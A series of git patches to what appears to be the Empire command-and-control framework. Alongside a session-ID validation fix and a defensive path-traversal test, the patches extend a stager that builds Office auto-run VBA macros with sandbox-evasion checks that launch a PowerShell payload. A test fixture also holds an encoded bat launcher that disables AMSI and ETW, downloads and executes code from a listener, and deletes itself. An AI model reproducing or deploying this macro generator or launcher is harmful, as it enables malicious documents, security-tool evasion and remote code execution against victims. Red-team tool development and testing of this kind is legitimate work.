From e679bf9035da31930b4fdd099519ec070968fae2 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 8 Feb 2024 20:14:23 -0500 Subject: [PATCH 1/6] Added validation for sessionid checkin for agents (#780) * added check for valid sessionid format to agent checkin * updated changelog and formatting * Update empire/server/utils/data_util.py Co-authored-by: Vincent Rose * Update empire/server/utils/data_util.py Co-authored-by: Vincent Rose * added pytest and fixed formatting * updated pytest with skywalker protection test * Update empire/server/utils/string_util.py Co-authored-by: Vincent Rose * fixed formatting * Update empire/server/common/agents.py Co-authored-by: Vincent Rose * Update empire/server/common/agents.py Co-authored-by: Vincent Rose * Update empire/server/common/agents.py Co-authored-by: Vincent Rose * formatting fixes --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 6 ++ empire/server/common/agents.py | 17 ++--- empire/server/utils/string_util.py | 9 +++ empire/test/test_agents.py | 102 +++++++++++++++++++++++++++++ 4 files changed, 126 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index bce63469b..8513d127c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,6 +14,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Added +- Added test for invalid agent sessionid (@Cx01N) + +### Fixed +- Fixed issue that invalid session IDs were accepted by the server (@Cx01N) + ## [5.9.2] - 2024-01-31 ### Fixed diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 912f2a291..210c4c16c 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -57,6 +57,7 @@ from empire.server.core.db.models import AgentTaskStatus from empire.server.core.hooks import hooks from empire.server.utils import datetime_util +from empire.server.utils.string_util import is_valid_session_id from . import encryption, helpers, packets @@ -263,10 +264,8 @@ def save_file( try: self.lock.acquire() # fix for 'skywalker' exploit by @zeroSteiner - # I'm not really sure if this can actually still be exploited, its gone through - # quite a few refactors. But we'll keep it for now. safe_path = download_dir.absolute() - if not str(save_file.absolute()).startswith(str(safe_path)): + if not str(os.path.normpath(save_file)).startswith(str(safe_path)): message = "Agent {} attempted skywalker exploit! Attempted overwrite of {} with data {}".format( sessionID, path, data ) @@ -370,9 +369,7 @@ def save_module_file(self, sessionID, path, data, language: str): safe_path = download_dir.absolute() # fix for 'skywalker' exploit by @zeroSteiner - # I'm not really sure if this can actually still be exploited, its gone through - # quite a few refactors. But we'll keep it for now. - if not str(save_file.absolute()).startswith(str(safe_path)): + if not str(os.path.normpath(save_file)).startswith(str(safe_path)): message = "agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format( sessionID, path, data ) @@ -1121,7 +1118,11 @@ def handle_agent_data( # process each routing packet for sessionID, (language, meta, additional, encData) in routingPacket.items(): - if meta == "STAGE0" or meta == "STAGE1" or meta == "STAGE2": + if not is_valid_session_id(sessionID): + message = f"handle_agent_data(): invalid sessionID {sessionID}" + log.error(message) + dataToReturn.append(("", f"ERROR: invalid sessionID {sessionID}")) + elif meta == "STAGE0" or meta == "STAGE1" or meta == "STAGE2": message = f"handle_agent_data(): sessionID {sessionID} issued a {meta} request" log.debug(message) @@ -1644,7 +1645,7 @@ def process_agent_packet( # fix for 'skywalker' exploit by @zeroSteiner # I'm not really sure if this can actually still be exploited, its gone through # quite a few refactors. But we'll keep it for now. - if not str(save_path.absolute()).startswith(str(safe_path)): + if not str(os.path.normpath(save_path)).startswith(str(safe_path)): message = f"agent {session_id} attempted skywalker exploit!" log.warning(message) return diff --git a/empire/server/utils/string_util.py b/empire/server/utils/string_util.py index 33ca3b692..74f7ba455 100644 --- a/empire/server/utils/string_util.py +++ b/empire/server/utils/string_util.py @@ -1,3 +1,6 @@ +import re + + def removeprefix(s, prefix): # Remove when we drop Python 3.8 support if s.startswith(prefix): @@ -10,3 +13,9 @@ def removesuffix(s, suffix): if s.endswith(suffix): return s[: -len(suffix)] return s + + +def is_valid_session_id(session_id): + if not isinstance(session_id, str): + return False + return re.match(r"^[A-Z0-9]{8}$", session_id.strip()) is not None diff --git a/empire/test/test_agents.py b/empire/test/test_agents.py index 4c4d7d1a8..746935fa3 100644 --- a/empire/test/test_agents.py +++ b/empire/test/test_agents.py @@ -1,5 +1,8 @@ +import base64 import logging +import struct import time +import zlib from datetime import datetime, timedelta, timezone from pathlib import Path @@ -7,10 +10,59 @@ from sqlalchemy.exc import IntegrityError from empire.server.common.empire import MainMenu +from empire.server.utils.string_util import is_valid_session_id log = logging.getLogger(__name__) +# Copied from the agent.py file for Python agent +class compress: + """ + Base clase for init of the package. This will handle + the initial object creation for conducting basic functions. + """ + + CRC_HSIZE = 4 + COMP_RATIO = 9 + + def __init__(self, verbose=False): + """ + Populates init. + """ + pass + + def comp_data(self, data, cvalue=COMP_RATIO): + """ + Takes in a string and computes + the comp obj. + data = string wanting compression + cvalue = 0-9 comp value (default 6) + """ + cdata = zlib.compress(data, cvalue) + return cdata + + def crc32_data(self, data): + """ + Takes in a string and computes crc32 value. + data = string before compression + returns: + HEX bytes of data + """ + crc = zlib.crc32(data) & 0xFFFFFFFF + return crc + + def build_header(self, data, crc): + """ + Takes comp data, org crc32 value, + and adds self header. + data = comp data + crc = crc32 value + """ + header = struct.pack("!I", crc) + built_data = header + data + return built_data + + @pytest.fixture(scope="function", autouse=True) def agents(session_local, models, host): with session_local.begin() as db: @@ -309,3 +361,53 @@ def test_update_dir_list_with_existing_joined_file( assert file.name == file2.name db.query(models.AgentFile).delete() + + +@pytest.mark.parametrize( + "session_id,expected", + [ + ("ABCDEFGH", True), + ("12345678", True), + ("ABCDEF1H", True), + ("A1B2C3D4", True), + ("ABCDEFG", False), + ("ABCDEFGHI", False), + ("ABCD_EFG", False), + (" ", False), + ("", False), + (12345678, False), + (None, False), + ("./../../", False), + ], +) +def test_is_valid_session_id(session_id, expected): + assert ( + is_valid_session_id(session_id) == expected + ), f"Test failed for session_id: {session_id}" + + +def test_skywalker_exploit_protection(caplog, agent, db, main: MainMenu): + # Malicious file path attempting directory traversal + malicious_directory = ( + main.installPath + r"/downloads/..\\..\\..\\..\\..\\etc\\cron.d\\evil" + ) + encodedPart = b"test" + c = compress() + start_crc32 = c.crc32_data(encodedPart) + comp_data = c.comp_data(encodedPart) + encodedPart = c.build_header(comp_data, start_crc32) + encodedPart = base64.b64encode(encodedPart).decode("UTF-8") + + malicious_data = "|".join( + [ + "0", + malicious_directory, + "6", + encodedPart, + ] + ) + + main.agents.process_agent_packet(agent, "TASK_DOWNLOAD", "1", malicious_data, db) + + expected_message_part = "attempted skywalker exploit!" + assert any(expected_message_part in message for message in caplog.messages) From ba8e0cf9fd844eba24a10d1bf44a51031b866ac9 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 8 Feb 2024 20:35:40 -0500 Subject: [PATCH 2/6] Added Word/Excel and AutoOpen/AutoClose to windows_macro stager (#781) * added word/excel and autoopen/autoclose to windows_macro stager * fixed autoclose for excel to have cancel input --- CHANGELOG.md | 1 + empire/server/stagers/windows/macro.py | 101 ++++++++++++++++--------- empire/test/conftest.py | 19 +++++ empire/test/test_stager_api.py | 60 +++++++++++++++ 4 files changed, 145 insertions(+), 36 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8513d127c..4a5343154 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ### Added +- Added option to windows_macro stager to select Excel or Word and AutoOpen or AutoClose (@Cx01N) - Added test for invalid agent sessionid (@Cx01N) ### Fixed diff --git a/empire/server/stagers/windows/macro.py b/empire/server/stagers/windows/macro.py index cdee9c092..ccead94e2 100644 --- a/empire/server/stagers/windows/macro.py +++ b/empire/server/stagers/windows/macro.py @@ -105,6 +105,20 @@ def __init__(self, mainMenu): "SuggestedValues": ["True", "False"], "Strict": True, }, + "Trigger": { + "Description": "Trigger for the macro (autoopen, autoclose).", + "Required": True, + "Value": "autoopen", + "SuggestedValues": ["autoopen", "autoclose"], + "Strict": True, + }, + "DocType": { + "Description": "Type of document to generate (word, excel).", + "Required": True, + "Value": "word", + "SuggestedValues": ["word", "excel"], + "Strict": True, + }, } self.mainMenu = mainMenu @@ -123,6 +137,19 @@ def generate(self): safe_checks = self.options["SafeChecks"]["Value"] bypasses = self.options["Bypasses"]["Value"] outlook_evasion = self.options["OutlookEvasion"]["Value"] + trigger = self.options["Trigger"]["Value"] + doc_type = self.options["DocType"]["Value"] + + if doc_type.lower() == "excel": + if trigger.lower() == "autoopen": + macro_sub_name = "Workbook_Open()" + else: + macro_sub_name = "Workbook_BeforeClose(Cancel As Boolean)" + else: + if trigger.lower() == "autoopen": + macro_sub_name = "AutoOpen()" + else: + macro_sub_name = "AutoClose()" encode = False if base64.lower() == "true": @@ -170,6 +197,10 @@ def generate(self): bypasses=bypasses, ) + if launcher == "": + log.error("[!] Error in launcher command generation.") + return "" + set_string = "".join( random.choice(string.ascii_letters) for i in range(random.randint(1, len(listener_name))) @@ -179,40 +210,38 @@ def generate(self): for i in range(random.randint(1, len(listener_name))) ) - if launcher == "": - log.error("[!] Error in launcher command generation.") - return "" - else: - chunks = list(helpers.chunks(launcher, 50)) - payload = "\tDim " + set_string + " As String\n" - payload += "\t" + set_string + ' = "' + str(chunks[0]) + '"\n' - for chunk in chunks[1:]: - payload += ( - "\t" + set_string + " = " + set_string + ' + "' + str(chunk) + '"\n' - ) + chunks = list(helpers.chunks(launcher, 50)) + payload = "\tDim " + set_string + " As String\n" + payload += "\t" + set_string + ' = "' + str(chunks[0]) + '"\n' + for chunk in chunks[1:]: + payload += ( + "\t" + set_string + " = " + set_string + ' + "' + str(chunk) + '"\n' + ) + + macro = f"Sub {macro_sub_name}\n" + macro += "\t" + set_method + "\n" + macro += "End Sub\n\n" - macro = "Sub AutoClose()\n" - macro += "\t" + set_method + "\n" - macro += "End Sub\n\n" - - macro += "Public Function " + set_method + "() As Variant\n" - - if outlook_evasion_bool is True: - macro += '\tstrComputer = "."\n' - macro += '\tSet objWMIService = GetObject("winmgmts:\\\\" & strComputer & "\\root\\cimv2")\n' - macro += '\tSet ID = objWMIService.ExecQuery("Select IdentifyingNumber from Win32_ComputerSystemproduct")\n' - macro += "\tFor Each objItem In ID\n" - macro += '\t\tIf StrComp(objItem.IdentifyingNumber, "2UA20511KN") = 0 Then End\n' - macro += "\tNext\n" - macro += '\tSet disksize = objWMIService.ExecQuery("Select Size from Win32_logicaldisk")\n' - macro += "\tFor Each objItem In disksize\n" - macro += "\t\tIf (objItem.Size = 42949603328#) Then End\n" - macro += "\t\tIf (objItem.Size = 68719443968#) Then End\n" - macro += "\tNext\n" - - macro += payload - macro += '\tSet asd = CreateObject("WScript.Shell")\n' - macro += "\tasd.Run(" + set_string + ")\n" - macro += "End Function\n" - - return macro + macro += "Public Function " + set_method + "() As Variant\n" + + if outlook_evasion_bool is True: + macro += '\tstrComputer = "."\n' + macro += '\tSet objWMIService = GetObject("winmgmts:\\\\" & strComputer & "\\root\\cimv2")\n' + macro += '\tSet ID = objWMIService.ExecQuery("Select IdentifyingNumber from Win32_ComputerSystemproduct")\n' + macro += "\tFor Each objItem In ID\n" + macro += ( + '\t\tIf StrComp(objItem.IdentifyingNumber, "2UA20511KN") = 0 Then End\n' + ) + macro += "\tNext\n" + macro += '\tSet disksize = objWMIService.ExecQuery("Select Size from Win32_logicaldisk")\n' + macro += "\tFor Each objItem In disksize\n" + macro += "\t\tIf (objItem.Size = 42949603328#) Then End\n" + macro += "\t\tIf (objItem.Size = 68719443968#) Then End\n" + macro += "\tNext\n" + + macro += payload + macro += '\tSet asd = CreateObject("WScript.Shell")\n' + macro += "\tasd.Run(" + set_string + ")\n" + macro += "End Function\n" + + return macro diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 14e4e61f1..04ee137ff 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -266,6 +266,25 @@ def bat_stager(): } +@pytest.fixture(scope="function") +def windows_macro_stager(): + return { + "name": "macro_stager", + "template": "windows_macro", + "options": { + "Listener": "new-listener-1", + "Language": "powershell", + "DocumentType": "word", + "Trigger": "autoopen", + "OutFile": "document_macro.txt", + "Obfuscate": "False", + "ObfuscateCommand": "Token\\All\\1", + "Bypasses": "mattifestation etw", + "SafeChecks": "True", + }, + } + + @pytest.fixture(scope="function") def pyinstaller_stager(): return { diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index 44fc9ca67..69cfd1936 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -461,6 +461,66 @@ def test_bat_stager_creation(client, bat_stager, admin_auth_header): client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) +@pytest.mark.parametrize( + "document_type, trigger_function, expected_trigger", + [ + ("word", "autoopen", "Sub AutoOpen()"), + ("word", "autoclose", "Sub AutoClose()"), + ("excel", "autoopen", "Sub Workbook_Open()"), + ("excel", "autoclose", "Sub Workbook_BeforeClose(Cancel As Boolean)"), + ], +) +def test_macro_stager_generation( + client, + windows_macro_stager, + admin_auth_header, + document_type, + trigger_function, + expected_trigger, +): + windows_macro_stager["options"]["DocType"] = document_type + windows_macro_stager["options"]["Trigger"] = trigger_function + + response = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=windows_macro_stager, + ) + + # Check if the stager is successfully created + assert response.status_code == 201 + assert response.json()["id"] != 0 + + stager_id = response.json()["id"] + + response = client.get( + f"/api/v2/stagers/{stager_id}", + headers=admin_auth_header, + ) + + # Check if we can successfully retrieve the stager + assert response.status_code == 200 + assert response.json()["id"] == stager_id + + response = client.get( + response.json()["downloads"][0]["link"], + headers=admin_auth_header, + ) + + # Check if the file is downloaded successfully + assert response.status_code == 200 + assert response.headers.get("content-type").split(";")[0] in [ + "text/plain", + ] + assert isinstance(response.content, bytes) + + # Check if the downloaded file is not empty + assert len(response.content) > 0 + assert expected_trigger in response.content.decode("utf-8") + + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + + def _expected_http_bat_launcher(): return dedent( """ From f93120cfa24ee52594430e77585c568979d35bec Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 8 Feb 2024 20:55:55 -0500 Subject: [PATCH 3/6] Fixed issue with obfuscation in malleable listeners (#779) * fixed issue with obfuscation in malelable listeners * fixed formatting * Update CHANGELOG.md Co-authored-by: Vincent Rose * fix port usage for ci --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 6 +- empire/server/core/obfuscation_service.py | 11 +-- empire/server/listeners/http_malleable.py | 8 +- empire/test/conftest.py | 100 +++++++++++++++++++++- empire/test/test_listener_api.py | 2 +- empire/test/test_stager_api.py | 57 ++++++++++-- 6 files changed, 166 insertions(+), 18 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4a5343154..29a63b1d7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,10 +15,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ### Added -- Added option to windows_macro stager to select Excel or Word and AutoOpen or AutoClose (@Cx01N) -- Added test for invalid agent sessionid (@Cx01N) +- Added tests for malleable listeners ### Fixed +- Fixed obfuscation issue in Malleable HTTP listeners +- Added option to windows_macro stager to select Excel or Word and AutoOpen or AutoClose (@Cx01N) +- Added test for invalid agent sessionid (@Cx01N) - Fixed issue that invalid session IDs were accepted by the server (@Cx01N) ## [5.9.2] - 2024-01-31 diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py index 5afb9b6f8..835bab5f8 100644 --- a/empire/server/core/obfuscation_service.py +++ b/empire/server/core/obfuscation_service.py @@ -190,13 +190,14 @@ def remove_preobfuscated_modules(self, language: str): os.remove(file) def obfuscate_keywords(self, data): - with SessionLocal.begin() as db: - keywords = db.query(models.Keyword).all() + if data: + with SessionLocal.begin() as db: + keywords = db.query(models.Keyword).all() - for keyword in keywords: - data = data.replace(keyword.keyword, keyword.replacement) + for keyword in keywords: + data = data.replace(keyword.keyword, keyword.replacement) - return data + return data def _get_module_source_files(self, language: str): """ diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index e93ecd759..9fe404051 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -555,8 +555,12 @@ def generate_launcher( launcherBase += listener_util.python_extract_stager(stagingKey) if obfuscate: - stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) if encode: launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 04ee137ff..67e656a85 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -158,6 +158,35 @@ def base_listener(): } +@pytest.fixture(scope="function") +def malleable_listener(): + return { + "name": "malleable_listener_1", + "template": "http_malleable", + "options": { + "Name": "http_malleable", + "Host": "http://localhost", + "BindIP": "0.0.0.0", + "Port": "1338", + "Profile": "amazon.profile", + "Launcher": "powershell -noP -sta -w 1 -enc ", + "StagingKey": "2c103f2c4ed1e59c0b4e2e01821770fa", + "DefaultDelay": "5", + "DefaultJitter": "0.0", + "DefaultLostLimit": "60", + "CertPath": "", + "KillDate": "", + "WorkingHours": "", + "Cookie": "", + "UserAgent": "default", + "Proxy": "default", + "ProxyCreds": "default", + "SlackURL": "", + "JA3_Evasion": "False", + }, + } + + def base_listener_non_fixture(): return { "name": "new-listener-1", @@ -166,7 +195,7 @@ def base_listener_non_fixture(): "Name": "new-listener-1", "Host": "http://localhost:80", "BindIP": "0.0.0.0", - "Port": "80", + "Port": "1336", "Launcher": "powershell -noP -sta -w 1 -enc ", "StagingKey": "2c103f2c4ed1e59c0b4e2e01821770fa", "DefaultDelay": "5", @@ -188,6 +217,34 @@ def base_listener_non_fixture(): } +def malleable_listener_non_fixture(): + return { + "name": "malleable_listener_1", + "template": "http_malleable", + "options": { + "Name": "http_malleable", + "Host": "http://localhost", + "BindIP": "0.0.0.0", + "Port": "1338", + "Profile": "amazon.profile", + "Launcher": "powershell -noP -sta -w 1 -enc ", + "StagingKey": "2c103f2c4ed1e59c0b4e2e01821770fa", + "DefaultDelay": "5", + "DefaultJitter": "0.0", + "DefaultLostLimit": "60", + "CertPath": "", + "KillDate": "", + "WorkingHours": "", + "Cookie": "", + "UserAgent": "default", + "Proxy": "default", + "ProxyCreds": "default", + "SlackURL": "", + "JA3_Evasion": "False", + }, + } + + @pytest.fixture(scope="module", autouse=True) def listener(client, admin_auth_header): # not using fixture because scope issues @@ -205,6 +262,23 @@ def listener(client, admin_auth_header): ) +@pytest.fixture(scope="module", autouse=True) +def listener_malleable(client, admin_auth_header): + # not using fixture because scope issues + response = client.post( + "/api/v2/listeners/", + headers=admin_auth_header, + json=malleable_listener_non_fixture(), + ) + + yield response.json() + + with suppress(Exception): + client.delete( + f"/api/v2/listeners/{response.json()['id']}", headers=admin_auth_header + ) + + @pytest.fixture(scope="function") def base_stager(): return { @@ -228,7 +302,7 @@ def base_stager(): @pytest.fixture(scope="function") -def base_stager_2(): +def base_stager_dll(): return { "name": "MyStager2", "template": "windows_dll", @@ -250,6 +324,28 @@ def base_stager_2(): } +@pytest.fixture(scope="function") +def base_stager_malleable(): + return { + "name": "MyStager", + "template": "multi_launcher", + "options": { + "Listener": "malleable_listener_1", + "Language": "powershell", + "StagerRetries": "0", + "OutFile": "", + "Base64": "True", + "Obfuscate": "False", + "ObfuscateCommand": "Token\\All\\1", + "SafeChecks": "True", + "UserAgent": "default", + "Proxy": "default", + "ProxyCreds": "default", + "Bypasses": "mattifestation etw", + }, + } + + @pytest.fixture(scope="function") def bat_stager(): return { diff --git a/empire/test/test_listener_api.py b/empire/test/test_listener_api.py index 6cd60c6ac..74db5bcc9 100644 --- a/empire/test/test_listener_api.py +++ b/empire/test/test_listener_api.py @@ -323,7 +323,7 @@ def test_get_listeners(client, admin_auth_header): response = client.get("/api/v2/listeners", headers=admin_auth_header) assert response.status_code == 200 - assert len(response.json()["records"]) == 2 + assert len(response.json()["records"]) == 3 def test_delete_listener_while_enabled(client, admin_auth_header, base_listener): diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index 69cfd1936..a151e4620 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -94,6 +94,27 @@ def test_create_stager_one_liner(client, base_stager, admin_auth_header): client.delete(f"/api/v2/stagers/{response.json()['id']}", headers=admin_auth_header) +def test_create_malleable_stager_one_liner( + client, base_stager_malleable, admin_auth_header +): + # test that it ignore extra params + base_stager_malleable["options"]["xyz"] = "xyz" + + response = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=base_stager_malleable, + ) + assert response.status_code == 201 + assert response.json()["options"].get("xyz") is None + assert len(response.json().get("downloads", [])) > 0 + assert ( + response.json().get("downloads", [])[0]["link"].startswith("/api/v2/downloads") + ) + + client.delete(f"/api/v2/stagers/{response.json()['id']}", headers=admin_auth_header) + + def test_create_obfuscated_stager_one_liner(client, base_stager, admin_auth_header): # test that it ignore extra params base_stager["options"]["xyz"] = "xyz" @@ -114,12 +135,36 @@ def test_create_obfuscated_stager_one_liner(client, base_stager, admin_auth_head client.delete(f"/api/v2/stagers/{response.json()['id']}", headers=admin_auth_header) -def test_create_stager_file(client, base_stager_2, admin_auth_header): +def test_create_obfuscated_malleable_stager_one_liner( + client, base_stager_malleable, admin_auth_header +): + # test that it ignore extra params + base_stager_malleable["options"]["xyz"] = "xyz" + + base_stager_malleable["name"] = "My_Obfuscated_Stager" + base_stager_malleable["options"]["Obfuscate"] = "True" + + response = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=base_stager_malleable, + ) + assert response.status_code == 201 + assert response.json()["options"].get("xyz") is None + assert len(response.json().get("downloads", [])) > 0 + assert ( + response.json().get("downloads", [])[0]["link"].startswith("/api/v2/downloads") + ) + + client.delete(f"/api/v2/stagers/{response.json()['id']}", headers=admin_auth_header) + + +def test_create_stager_file(client, base_stager_dll, admin_auth_header): # test that it ignore extra params - base_stager_2["options"]["xyz"] = "xyz" + base_stager_dll["options"]["xyz"] = "xyz" response = client.post( - "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager_2 + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager_dll ) assert response.status_code == 201 assert response.json()["options"].get("xyz") is None @@ -221,11 +266,11 @@ def test_download_stager_one_liner(client, admin_auth_header, base_stager): client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) -def test_download_stager_file(client, admin_auth_header, base_stager_2): +def test_download_stager_file(client, admin_auth_header, base_stager_dll): response = client.post( "/api/v2/stagers/?save=true", headers=admin_auth_header, - json=base_stager_2, + json=base_stager_dll, ) assert response.status_code == 201 stager_id = response.json()["id"] @@ -525,7 +570,7 @@ def _expected_http_bat_launcher(): return dedent( """ @echo off - start /B powershell.exe -nop -ep bypass -w 1 -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAEUAdgBlAG4AdABpAG4AZwAuAEUAdgBlAG4AdABQAHIAbwB2AGkAZABlAHIAXQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAbQBfAGUAbgBhAGIAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAwACkAOwAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AHYAYQBsAHUAZQAoACQATgB1AGwAbAAsACQAdAByAHUAZQApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALwAnACkALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwB8AGkAZQB4AA== + start /B powershell.exe -nop -ep bypass -w 1 -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAEUAdgBlAG4AdABpAG4AZwAuAEUAdgBlAG4AdABQAHIAbwB2AGkAZABlAHIAXQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAbQBfAGUAbgBhAGIAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAwACkAOwAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AHYAYQBsAHUAZQAoACQATgB1AGwAbAAsACQAdAByAHUAZQApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADEAMwAzADYALwBkAG8AdwBuAGwAbwBhAGQALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8AJwApAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAfABpAGUAeAA= timeout /t 1 > nul del "%~f0" """ From 0dd4e97719488894534c338ac3b100208c1ed6be Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 9 Feb 2024 02:52:20 +0000 Subject: [PATCH 4/6] Prepare release 5.9.3 private --- CHANGELOG.md | 8 +++++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 29a63b1d7..ffe0e8e74 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,10 +14,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.9.3] - 2024-02-09 + ### Added + - Added tests for malleable listeners ### Fixed + - Fixed obfuscation issue in Malleable HTTP listeners - Added option to windows_macro stager to select Excel or Word and AutoOpen or AutoClose (@Cx01N) - Added test for invalid agent 